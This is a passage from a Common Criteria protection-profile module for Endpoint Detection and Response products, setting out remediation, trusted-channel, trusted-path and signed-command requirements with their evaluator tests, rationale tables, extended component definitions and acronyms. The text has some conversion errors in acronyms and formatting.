Any function that is not mandatory for at least one role is considered optional for the TOE.

## Evaluation Activities ▼

### FMT\_SRF\_EXT.1

#### TSS

The evaluator shall check to ensure that the TSS describes what roles can perform what remediation actions and how each remediation action is performed.

#### Guidance

The evaluator shall review the operational guidance to verify that the EDR has documented capabilities to perform the management functions.

#### Tests

For each role, the evaluator shall perform the below tests, verifying that each role in the chart can perform their permitted functions and are restricted from performing functions that they do not have access to per the

- Test FMT\_SRF\_EXT.1.1: Conditional: If "logically quarantining the endpoint from the network unless allowlisted" is selected the evaluator shall logically quarantine a managed endpoint system from the network and verify that the system is unable to access network addresses or resources outside of an allowlist.
- Test FMT\_SRF\_EXT.1.2: Conditional: If "quarantining the malicious file on the endpoint" is selected the evaluator shall verify the functionality to quarantine potentially unauthorized files on the endpoint.

- Test FMT\_SRF\_EXT.1:3: The evaluator shall run an executable on a managed endpoint system, terminate its process from the EDR management dashboard, and then verify that the process is no longer running on the system.
- Test FMT\_SRF\_EXT.1:4: (Conditional: if the EDR includes the function to retrieve potentially unauthorized or affected files from an endpoint, then): The evaluator shall place a file known to trigger an incident alert on the file system then retrieve the contents of the file from the EDR management dashboard.

## 5.2.5 Protection of the TSF (FPT)

### FPT\_ITT.1 Basic Internal TSF Data Transfer Protection

#### FPT\_ITT.1.1

The EDR shall [selection:

- **implement** [selection: *TLS as defined in the TLS Package, HTTPS as defined in the Base-PP*]
- **invoke platform-provided functionality for** [selection: *TLS, HTTPS*]

] to protect TSF data from [modification, disclosure] when it is transmitted between separate parts of the TOE.

**Application Note:** The intent of the above requirement is to use the cryptographic protocols identified in the requirement to establish and maintain a trusted channel between the EDR and the Host Agent, which are considered to be separate parts of the TOE. The TLS Package permits the use of either TLS or DTLS. Only TLS, DTLS, or HTTPS can be used in this trusted channel.

This requirement is to ensure that the transmission of any logs, process lists, system information, etc, when commanded, or at configurable intervals, is properly protected. This internal channel also protects any commands and policies sent by the EDR to the Host Agent. Either the Host Agent or the EDR is able to initiate the connection.

This internal channel protects both the connection between an enrolled Host Agent and the EDR and the connection between an unenrolled Host Agent and the EDR during the enrollment operation. Different protocols can be used for these two connections, and the description in the TSS should make this difference clear.

The internal channel uses a protocol from the TLS Package or HTTPS as the protocol that preserves the confidentiality and integrity of EDR communications. The ST author chooses the mechanism or mechanisms supported by the EDR, and then ensures the correct requirements are included in the ST if not already present. Protocol, RBG, certificate validation, algorithm, and similar services may be met with platform-provided services.

## Evaluation Activities ▼

### FPT\_ITT.1

#### TSS

If "invoke platform-provided functionality for..." is selected, the evaluator shall verify the TSS contains the calls to the platform that TOE is leveraging to invoke the functionality.

If "implement..." is selected, the evaluator shall examine the TSS to verify how Agent-Server communications are protected is described and conforms to the SER. The evaluator shall also confirm that all protocols listed in the TSS are consistent with those specified in the requirement, and are included in the requirements in the ST.

#### Guidance

The evaluator shall confirm that the operational guidance contains instructions for configuring the communication channel between the Host Agent and the EDR for each supported method.

#### Tests

- Test FPT\_ITT.1:1: The evaluators shall ensure that communications using each specified (in the operational guidance) Agent-Server communication method is tested during the course of the evaluation, setting up the connections as described in the operational guidance and ensuring that communication is successful.
- Test FPT\_ITT.1:2: The evaluator shall ensure, for each method of Agent-Server communication, the channel data is not sent in plaintext.

## 5.2.6 Trusted Path/Channels (FTP)

### FTP\_TRP.1 Trusted Path

#### FTP\_TRP.1.1

The TSE shall [selection:

- **implement [selection: TLS as defined in the TLS Package, HTTPS as defined in the Base-PP]**
- **invoke platform-provided functionality for [selection: TLS, HTTPS]**

] to provide a communication path between itself and [remote] **administrators** that is logically distinct from other communication paths and provides assured identification of its end points and protection of the communicated data from [modification, disclosure].

FTP\_TRP.1.2

The TSE shall [selection: **implement functionality, invoke platform-provided functionality**] to permit [remote **administrators**] to initiate communication via the trusted path.

FTP\_TRP.1.3

The TSE shall[selection: **implement functionality, invoke platform-provided functionality**] to require the use of the trusted path for [all remote administration actions].

**Application Note:** This requirement ensures that authorized remote administrators initiate all communication with the EDR via a trusted path, and that all communications with the EDR by remote administrators is performed over this path. The data passed in this trusted communication channel are encrypted as defined in the protocol chosen in the first selection. The ST author chooses the mechanism or mechanisms supported by the EDR.

## Evaluation Activities ▼

### FTP\_TRP.1

#### TSS

The evaluator shall examine the TSS to verify how remote administration communications are protected is described and conforms to the SFR. The evaluator shall examine the TSS to determine that the methods of remote TOE administration are indicated, along with how those communications are protected. The evaluator shall also confirm that all protocols listed in the TSS in support of TOE administration are consistent with those specified in the requirement, and are included in the requirements in the ST.

If "invoke platform-provided functionality for..." is selected in FTP\_TRP.1.1, the evaluator shall verify the TSS contains the calls to the platform that TOE is leveraging to invoke the functionality.

#### **Guidance**

The evaluator shall confirm that the operational guidance contains instructions for establishing the remote administrative sessions for each supported method.

#### **Tests**

- Test FTP\_TRP.1:1: The evaluators shall ensure that communications using each specified (in the operational guidance) remote administration method is tested during the course of the evaluation, setting up the connections as described in the operational guidance and ensuring that communication is successful.
- Test FTP\_TRP.1:2: For each method of remote administration supported, the evaluator shall follow the operational guidance to ensure that there is no available interface that can be used by a remote user to establish remote administrative sessions without invoking the trusted path.
- Test FTP\_TRP.1:3: The evaluator shall ensure, for each method of remote administration, the channel data is not sent in plaintext.

## 5.3 TOE Security Functional Requirements Rationale

The following rationale provides justification for each SFR for the TOE, showing that the SFRs are suitable to address the specified threats:

**Table 6: SFR Rationale**

Threat	Addressed by	Rationale
<u>T.CREDENTIAL_REUSE</u>	<u>FPT_ITT.1</u>	The <u>PP-Module</u> includes <u>FPT_ITT.1</u> to define the internal trusted channel that the <u>TSE</u> uses to communicate with connected Host Agents as well as the communications protocols used to establish these trusted channels.
	<u>FTP_TRP.1</u>	The <u>PP-Module</u> includes <u>FTP_TRP.1</u> to define the communications protocols used to support secure remote administration of the <u>TSE</u> .
<u>T.MISCONFIGURATION</u>	<u>FAU_ALT_EXT.1</u>	The <u>PP-Module</u> includes <u>FAU_ALT_EXT.1</u> to facilitate management by providing a function for authorized users to interact with security-relevant data

	that is provided to the <b>T.SF</b> .
<b>FAU_COL_EXT.1</b>	The <b>PP-Module</b> includes <b>FAU_COL_EXT.1</b> to facilitate management by defining the security-relevant data that is collected by the <b>T.SF</b> .
<b>FAU_GEN.1/EDR</b>	The <b>PP-Module</b> includes <b>FAU_GEN.1/EDR</b> to ensure that the <b>T.OE</b> provides accountability through the generation of audit data for security-relevant events.
<b>FIA_AUT_EXT.1</b>	The <b>PP-Module</b> includes <b>FIA_AUT_EXT.1</b> to define how management users are authenticated by the <b>T.SF</b> to limit the subjects that can execute management functions on the <b>T.OE</b> .
<b>FIA_PWD_EXT.1</b>	The <b>PP-Module</b> includes <b>FIA_PWD_EXT.1</b> to define composition requirements for the Password Authentication Factor to ensure that an authorized user cannot access protected management functions without authorization.
<b>FMT_SMF.1/ENDPOINT</b>	The <b>PP-Module</b> includes <b>FMT_SMF.1/ENDPOINT</b> to define the management functions that can be performed to control the behavior of the <b>T.SF</b> and the management roles that are authorized to perform those functions.
<b>FMT_SMF.1/HOST</b>	The <b>PP-Module</b> includes <b>FMT_SMF.1/HOST</b> to define the management functions that can be performed to control the behavior of Host Agents that are connected to the <b>T.OE</b> and the management roles that are authorized to perform those functions.
<b>FMT_SMR.1</b>	The <b>PP-Module</b> includes <b>FMT_SMR.1</b> to define the management roles that the <b>T.SF</b> supports so that its management functions can be separated by role.
<b>FMT_SRF_EXT.1</b>	The <b>PP-Module</b> includes <b>FMT_SRF_EXT.1</b> to define the remediation functions that are available to authorized users to issue corrective actions on a system that has a connected Host Agent.

# 6 Consistency Rationale

## 6.1 Protection Profile for Application Software

### 6.1.1 Consistency of TOE Type

If this PP-Module is used to extend the Application Software PP, the TOE type for the overall TOE is still a software-based application. The TOE boundary is simply extended to include the EDR functionality that is built into the application so that additional security functionality is claimed within the scope of the TOE.

### 6.1.2 Consistency of Security Problem Definition

Table 7: Consistency of Security Problem Definition (App PP base)

PP-Module Threat, Assumption, OSP	Consistency Rationale
T.CREDENTIAL_REUSE	This threat applies to authentication functionality that is introduced in this PP-Module and does not affect the functionality described by the Base-PP.
T.MISCONFIGURATION	This threat applies to management functionality that is introduced in this PP-Module and does not affect the functionality described by the Base-PP.
A.CONNECTIVITY	

### 6.1.3 Consistency of OE Objectives

Table 8: Consistency of OE Objectives (App PP base)

PP-Module OE Objective	Consistency Rationale
OE.RELIABLE_TRANSIT	

### 6.1.4 Consistency of Requirements

This PP-Module identifies several SERs from the App PP that are needed to support Endpoint Detection and Response (EDR) functionality. This is considered to be consistent because the functionality provided by the App PP is being used for its intended purpose. The rationale for why this does not conflict with the claims defined by the App PP are as follows:

Table 9: Consistency of Requirements (App PP base)

PP-Module Requirement	Consistency Rationale
Modified SERs	
This PP-Module does not modify any requirements when the App PP is the base.	
Additional SERs	
This PP-Module does not add any requirements when the App PP is the base.	
Mandatory SERs	
FAU_ALT_EXT.1	This SER defines auditable alerts for the EDR. It does not impact the [AppPP] functionality.
FAU_COL_EXT.1	This SER defines the minimum event data that the EDR collects from a Host Agent. It does not impact the [AppPP] functionality.
FAU_GEN.1/EDR	This SER defines the minimum event data that the EDR server must record about authorized management dashboard activity. It does not impact the [AppPP] functionality.
FIA_AUT_EXT.1	This SER defines authentication mechanisms for the EDR. It does not impact the [AppPP] functionality.
FIA_PWD_EXT.1	This SER defines specific authentication criteria for passwords. It does not impact the [AppPP] functionality.

<a href="#">FMT_SMF.1/ENDPOINT</a>	This <a href="#">SER</a> defines a specific set of management functions for an <a href="#">EDR</a> by an <a href="#">EDR</a> . It does not impact the <a href="#">[AppPP]</a> functionality.
<a href="#">FMT_SMF.1/HOST</a>	This <a href="#">SER</a> defines a specific set of management functions for a Host Agent by an <a href="#">EDR</a> . It does not impact the <a href="#">[AppPP]</a> functionality.
<a href="#">FMT_SMR.1</a>	This <a href="#">SER</a> defines a specific set of management roles for an <a href="#">EDR</a> . It does not impact the <a href="#">[AppPP]</a> functionality.
<a href="#">FMT_SRF_EXT.1</a>	This <a href="#">SER</a> defines a specific set of remediation functions for an <a href="#">EDR</a> . It does not impact the <a href="#">[AppPP]</a> functionality.
<a href="#">FPT_ITT.1</a>	This <a href="#">SER</a> defines a specific set of functions for logically distinct secure communication with a Host Agent. It does not impact the <a href="#">[AppPP]</a> functionality.
<a href="#">FTP_TRP.1</a>	This <a href="#">SER</a> defines a specific set of functions for secure remote administration of the <a href="#">EDR</a> . It does not impact <a href="#">[AppPP]</a> functionality.

#### Optional [SERs](#)

This [PP-Module](#) does not define any Optional requirements.

#### Objective [SERs](#)

<a href="#">FMT_TRM_EXT.1</a>	This <a href="#">SER</a> defines protections for the integrity of commands sent to the Host Agent. It does not impact the <a href="#">[AppPP]</a> functionality.
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#### Implementation-dependent [SERs](#)

This [PP-Module](#) does not define any Implementation-dependent requirements.

#### Selection-based [SERs](#)

This [PP-Module](#) does not define any Selection-based requirements.

# Appendix A - Optional SFRs

## A.1 Strictly Optional Requirements

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This PP-Module does not define any Strictly Optional SFRs or SARs.

## A.2 Objective Requirements

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### A.2.1 Auditable Events for Objective SFRs

Table 10: Auditable Events for Objective Requirements

Requirement	Auditable Events	Additional Audit Record Contents
<a href="#">FMT_TRM_EXT.1</a>	No events specified	N/A

### A.2.2 Security Management (FMT)

#### FMT\_TRM\_EXT.1 Trusted Remediation Functions

##### FMT\_TRM\_EXT.1.1

The [selection: [EDR](#), [EDR Platform](#)] shall digitally sign commands and policies sent to the Host Agent using [selection: [RSA](#), [ECDSA](#)] signatures that meet FIPS PUB 186-5.

**Application Note:** The intent of this requirement is to cryptographically tie any policy updates or commands sent to the Host Agent as being from the [EDR](#). This is not to protect the policies in transit as they are already protected by [FPT\\_ITT.1](#). If the [TSF](#) implements this function, any signature algorithms used should be consistent with any selections made in [FCS\\_COP.1/Sig Gen](#) and [FCS\\_COP.1/SigVer](#) in the Protection Profile for Application Software, Version 2.0.

#### Evaluation Activities ▼

##### [FMT\\_TRM\\_EXT.1](#)

##### [TSS](#)

The evaluator shall check to ensure that the [TSS](#) describes how all commands and policies are signed.

##### Guidance

The evaluator shall review the operational guidance and ensure that the [EDR](#) any configuration information for policy signing is included.

##### Tests

The evaluator shall select any one remediation function documented in the administrative guide (e.g., terminate process), and execute that command while capturing traffic. The evaluator shall review captured network traffic and verify that a digital signature was sent along with the coinciding command or policy update. The [EDR](#) may need to be configured in a manner to disable transport encryption for this test or the network capture tool may need to be configured with the private key such that decrypted traffic can be made available to the evaluator.

## A.3 Implementation-dependent Requirements

---

This PP-Module does not define any Implementation-dependent SFRs.



## Appendix B - Selection-based Requirements

This PP-Module does not define any Selection-based SERs.

# Appendix C - Extended Component Definitions

This appendix contains the definitions for all extended requirements specified in the PP-Module.

## C.1 Extended Components Table

All extended components specified in the PP-Module are listed in this table:

**Table 11: Extended Component Definitions**

Functional Class	Functional Components
Identification and Authentication (FIA)	FIA_AUT_EXT Dashboard Authentication Mechanisms FIA_PWD_EXT Password Authentication
Security Audit (FAU)	FAU_ALT_EXT Server Alerts FAU_COL_EXT Collected Endpoint Data
Security Management (FMT)	FMT_SRF_EXT Specification of Remediation Functions FMT_TRM_EXT Trusted Remediation Functions

## C.2 Extended Component Definitions

### C.2.1 Identification and Authentication (FIA)


This PP-Module defines the following extended components as part of the FIA class originally defined by CC Part 2:

#### C.2.1.1 FIA\_AUT\_EXT Dashboard Authentication Mechanisms

##### Family Behavior

Components in this family define requirements for authentication behavior that is unique to an EDR.TOE.

##### Component Leveling



FIA\_AUT\_EXT.1, Dashboard Authentication Mechanisms, identifies the only authentication factors that may be used for authentication to a management interface of an EDR.

##### Management: FIA\_AUT\_EXT.1

There are no management functions foreseen.

##### Audit: FIA\_AUT\_EXT.1

There are no audit events foreseen.

##### FIA\_AUT\_EXT.1 Dashboard Authentication Mechanisms

Hierarchical to: No other components.

Dependencies to: No dependencies.

##### FIA\_AUT\_EXT.1.1

The TSE shall [selection:

- leverage the platform for authentication
- provide authentication based on username/password and [selection:
  - authentication with external smart card and PIN
  - no other factors

]


] to support logins to any management dashboard or API.

### C.2.1.2 FIA\_PWD\_EXT Password Authentication

#### Family Behavior

Components in this family define requirements for password authentication criteria.

#### Component Leveling



[FIA\\_PWD\\_EXT.1](#), Password Authentication, defines the length and character set requirements for password authentication factors.

#### Management: FIA\_PWD\_EXT.1

There are no management functions foreseen.

#### Audit: FIA\_PWD\_EXT.1

There are no audit events foreseen.

#### FIA\_PWD\_EXT.1 Password Authentication

Hierarchical to: No other components.

Dependencies to: [FIA\\_AUT\\_EXT.1](#) Dashboard Authentication Mechanisms

##### FIA\_PWD\_EXT.1.1

The T.SF shall support the following for the Password Authentication Factor:

1. Passwords shall be able to be composed of any combination of [**selection:** *upper and lower case letters*, [**assignment:** *a character set of at least 52 characters*]], numbers, and special characters: [**selection:** "!", "@", "#", "\$", "%", "^", "&", "\*", "(", ")", [**assignment:** *other characters*]],
2. Password length up to [**assignment:** *an integer greater than or equal to 64*] characters shall be supported.

### C.2.2 Security Audit (FAU)


This PP-Module defines the following extended components as part of the FAU class originally defined by CC Part 2:

#### C.2.2.1 FAU\_ALT\_EXT Server Alerts

#### Family Behavior

Components in this family define requirements for system activity that causes the T.SF to generate an alert of the activity and for the contents of these alerts.

#### Component Leveling



[FAU\\_ALT\\_EXT.1](#), Server Alerts, describes alert triggers and the information contained in alerts.

#### Management: FAU\_ALT\_EXT.1

The following actions could be considered for the management functions in FMT:

- Configure visual suppression of alerts.

#### Audit: FAU\_ALT\_EXT.1

There are no auditable events foreseen.

#### FAU\_ALT\_EXT.1 Server Alerts

Hierarchical to: No other components.

Dependencies to: No dependencies.

##### FAU\_ALT\_EXT.1.1

The T.SF shall alert authorized users on a management dashboard in the event of: detection of potentially unauthorized activity on enrolled endpoints.

### FAU\_ALT\_EXT.1.2

The TISF shall provide a visualization of detected alerts of potentially unauthorized incidents, and shall include:

- An initial incident severity and [selection: *assessment, categorization, score, ranking*],
- An incident timeline.

### FAU\_ALT\_EXT.1.3


The TISF shall provide a data export capability for selected alerts with a specified standards-based format of [assignment: *alert format*].

## C.2.2.2 FAU\_COL\_EXT Collected Endpoint Data

### Family Behavior

Components in this family define requirements for the data that is collected from a Host Agent.

### Component Leveling



[FAU\\_COL\\_EXT.1](#), Collected Endpoint Data, identifies the specific data collected from a Host Agent.

### Management: FAU\_COL\_EXT.1

The following actions could be considered for the management functions in FMT:

- Configuration of the time period for transmission of collected data.
- Configuration of label or tag information to associate collected data with individual endpoint systems or groups of systems.

### Audit: FAU\_COL\_EXT.1

There are no auditable events foreseen.

### FAU\_COL\_EXT.1 Collected Endpoint Data

Hierarchical to: No other components.

Dependencies to: No dependencies.

### FAU\_COL\_EXT.1.1

The TISF shall collect the following minimum set of endpoint data from a Host Agent:

- Operating System (OS) version, architecture, and IP Address,
- Privileged and unprivileged endpoint account login activity,
- Process creation,
- Libraries and modules loaded by processes,
- Filenames and [selection: [assignment: *other metadata*], *no other metadata*] of files created and [selection: [assignment: *other activities performed to files*], *no other activities*] on persistent storage,
- [selection: [assignment: *other host data*], *no other host data*].

## C.2.3 Security Management (FMT)


This PP-Module defines the following extended components as part of the FMT class originally defined by CC Part 2:

### C.2.3.1 FMT\_SRF\_EXT Specification of Remediation Functions

### Family Behavior

Components in this family define requirements for remediation functions that an EDR can perform to affect the behavior of an endpoint system.

### Component Leveling



[FMT\\_SRF\\_EXT.1](#), Specification of Remediation Functions, lists the supported remediation functions and identifies the management roles that may perform these functions.

### Management: FMT\_SRF\_EXT.1

There are no management functions foreseen.

**Audit: FMT\_SRF\_EXT.1**

There are no audit events foreseen.

**FMT\_SRF\_EXT.1 Specification of Remediation Functions**

Hierarchical to: No other components.

Dependencies to: [FMT\\_SMR.1](#) Security Management Roles

**FMT\_SRF\_EXT.1.1**

The ~~TSE~~ shall be capable of performing the following remediation functions: **Table 12: Management Functions**

[Status Markers:  
M - Mandatory  
O - Optional or Objective  
- - Not Applicable

#	Management Function	Administrator	SOC Analyst	Read-Only User
7	Quarantine an endpoint by [ <b>selection:</b> <i>logically quarantining the endpoint from the network unless allowlisted, quarantining the malicious file on the endpoint</i> ]	<u>O</u>	<u>M</u>	-
8	Terminate a running process on an endpoint	<u>O</u>	<u>M</u>	-
9	Retrieve potentially unauthorized or affected files from an endpoint	<u>O</u>	<u>O</u>	-


].

**C.2.3.2 FMT\_TRM\_EXT Trusted Remediation Functions**

**Family Behavior**

Components in this family define how the ~~TQE~~ can assert the authenticity of the remediation actions it requests from Host Agents.

**Component Leveling**



[FMT\\_TRM\\_EXT.1](#), Trusted Remediation Functions, requires all management activities bound for a Host Agent to be digitally signed.

**Management: FMT\_TRM\_EXT.1**

There are no management functions foreseen.

**Audit: FMT\_TRM\_EXT.1**

There are no audit events foreseen.

**FMT\_TRM\_EXT.1 Trusted Remediation Functions**

Hierarchical to: No other components.

Dependencies to: No dependencies.

**FMT\_TRM\_EXT.1.1**

The [**selection:** ~~EDR~~, ~~EDR Platform~~] shall digitally sign commands and policies sent to the Host Agent using [**selection:** *RSA, ECDSA*] signatures that meet FIPS PUB 186-5.

## Appendix D - Implicitly Satisfied Requirements

This appendix lists requirements that should be considered satisfied by products successfully evaluated against this PP-Module. These requirements are not featured explicitly as SFRs and should not be included in the ST. They are not included as standalone SFRs because it would increase the time, cost, and complexity of evaluation. This approach is permitted by [CC] Part 1, 8.3 Dependencies between components.

This information benefits systems engineering activities which call for inclusion of particular security controls. Evaluation against the PP-Module provides evidence that these controls are present and have been evaluated.

Requirement	Rationale for Satisfaction
FIA_UID.1 - Timing of Identification	CC Part 2 specifies FIA_UID.1 as a dependency of FMT_SMR.1 because the TSF must have some way of identifying users so that they can be associated with management roles. This dependency is implicitly addressed through FIA_AUT_EXT.1, which specifies an alternative method of user identification.
FPT_STM.1 - Reliable Time Stamps	CC Part 2 specifies FPT_STM.1 as a dependency of FAU_GEN.1 because the audit data require a reliable timestamp to satisfy FAU_GEN.1.2. This dependency is implicitly addressed through the A.PLATFORM assumption of the Base-PP because a "trustworthy computing platform" is assumed to include a reliable system clock.

# Appendix E - Acronyms

**Table 13: Acronyms**

Acronym	Meaning
API	Application Programming Interface
Base-PP	Base Protection Profile
CC	Common Criteria
CEF	Common Event Format
CEM	Common Evaluation Methodology
cPP	Collaborative Protection Profile
CyboX	Cyber Observable expression
DRBG	Deterministic Random Bit Generator
DSS	Digital Signature Standard
DTLS	Datagram Transport Layer Security
EDR	Endpoint Detection and Response
EDR	Endpoint Detection and Response
EP	Extended Package
FP	Functional Package
HTTPS	Hypertext Transfer Protocol Secure
IODEF	Incident Object Description Exchange Format
IP	Internet Protocol
IT	Information Technology
LEEF	Log Event Extended Format
OE	Operational Environment
OS	Operating System
PP	Protection Profile
PP-Configuration	Protection Profile Configuration
PP-Module	Protection Profile Module
RBG	Random Bit Generator
SAR	Security Assurance Requirement
SER	Security Functional Requirement
ST	Security Target
STIX	Structured Threat Information expression
TLS	Transport Layer Security
TOE	Target of Evaluation
TSF	TOE Security Functionality

<code>.TSEI</code>	<code>.TSE</code> Interface
<code>.TSS</code>	<code>.TOE</code> Summary Specification



# Appendix F - Bibliography

**Table 14: Bibliography**

Identifier	Title
[CC]	Common Criteria for Information Technology Security Evaluation - <ul style="list-style-type: none"><li>• <a href="#">Part 1: Introduction and general model</a>, CCMB-2022-11-001, CC:2022, Revision 1, November 2022.</li><li>• <a href="#">Part 2: Security functional requirements</a>, CCMB-2022-11-002, CC:2022, Revision 1, November 2022.</li><li>• <a href="#">Part 3: Security assurance requirements</a>, CCMB-2022-11-003, CC:2022, Revision 1, November 2022.</li><li>• <a href="#">Part 4: Framework for the specification of evaluation methods and activities</a>, CCMB-2022-11-004, CC:2022, Revision 1, November 2022.</li><li>• <a href="#">Part 5: Pre-defined packages of security requirements</a>, CCMB-2022-11-005, CC:2022, Revision 1, November 2022.</li></ul>
[CEM]	Common Methodology for Information Technology Security Evaluation - <ul style="list-style-type: none"><li>• <a href="#">Evaluation methodology</a>, CCMB-2022-11-006, CC:2022, Revision 1, November 2022.</li></ul>
[AppPP]	<a href="#">Protection Profile for Application Software, Version 2.0, June 16, 2025</a>
[EDB]	<a href="#">PP-Module for Host Agent</a> , Version 2.0, January 13, 2026